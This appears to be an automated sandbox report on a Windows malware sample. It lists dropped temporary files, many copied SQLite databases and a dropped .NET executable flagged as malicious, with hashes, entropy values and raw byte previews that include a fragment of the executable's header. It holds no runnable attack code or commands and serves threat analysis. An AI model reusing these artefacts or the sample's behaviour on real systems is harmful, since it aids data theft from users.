SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpCD26.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpE094.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0A5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0C6.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0D7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0E8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0F8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE1D8.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE1F8.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE209.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE20A.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE21A.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE22B.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF353.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF364.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF375.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF385.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF396.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF3A6.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\TmfmVKU.exe

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	730120
Entropy (8bit):	7.907614712777529
Encrypted:	false
SSDEEP:	12288:vV9E8GILjWLWg/yvjaRBv5MIorus1IPI4AMqoYg/6vXdW1JeSel43qiukR:7cam5MI+TIPuM//CXd+JWl46i1
MD5:	3599FA63D78413242A88966D3B4B14EF
SHA1:	44526B00E847D9A16908C79F72DAB1AF4A2EDF29
SHA-256:	C08FF513AD0787ED08C72BBDCDA0D166E603EA0736F5687B3DDDC0F4BB87DA33
SHA-512:	E04604E58C9A0EB4E6BBEA99D59295463CB9058F82C2527502ACB6FE47989FC4F72B69338BB66CA5C5FC5A62D785FB65FCD4EB272A6136A1C240592076845D73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0.............b.... ........@.. .......................@............@.....................................O........................6... ....................................................... ............... ..H............text...h.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................D.......H........... \......2...................................................^..}.....(.......(......0..+.........,..{.......+....,...{....o........(.......0................(....s......s....}.....(......{.....o......{....( ...o!.....{.....o".....{....o#....o$.....{....o#...( ...o%.....{.....o&.....{.....r...po'...t....o(.....{.... B....6s)...o*.....{....r...po+.....{.... >... ?...s,...o-.....{.....o......{.....o/....."...@"..PAs0...(1......(2......r1..po'...t....o3......o".....

C:\Users\user\AppData\Roaming\TmfmVKU.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
